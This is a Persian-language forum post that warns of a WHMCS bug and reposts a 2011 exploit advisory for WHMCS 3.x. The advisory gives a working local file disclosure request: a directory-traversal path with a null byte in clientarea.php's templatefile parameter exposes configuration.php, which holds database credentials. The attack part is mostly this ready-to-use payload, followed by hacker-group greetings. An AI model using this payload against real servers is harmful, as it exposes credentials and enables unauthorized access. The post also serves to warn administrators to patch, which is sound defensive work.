سلام خدمت دوستان این باگ جدید WHMCS هست که پیشنهاد می کنم حتما بخونید و آپدیت باشید

این باگ محتویات فایل configuration.php رو نشون میده

لینک معتبر: WHMCS 3.x.x (clientarea.php) Local File Disclosure


# Title : WHMCS (clientarea.php) Local File Disclosure

# Author : Red Virus >>>c3o@w.cn


# Product : WHMCS ( WHMCompleteSolution )

# Vendor : WHMCS - The Complete Client Management, Billing & Support Solution

# Date : 11/04/2011

# Version : 3.X.x

# Tested on : linux+apache

# Homepage : أهل السنه والجماعه Group XP

================================================== ==============



http://localhost/[PATH]/clientarea.php?action=[wrong_value]&templatefile=[LFD]%00


http://localhost/[PATH]/clientarea.php?action=red&templatefile=../../configuration.php%00


show the page source to see Disclosure file



================================================== ==============


Greetz To .

>>> alm3refh.com - tryag.cc - joood

T3rr0rist & cyb3r-1st & i-Hmx & h311 c0d3

infofst & virus hima & Karar aLShaMi & all alm3refh group

ahwak2000 & reno & amr2006 & b0x & ZombiE_KsA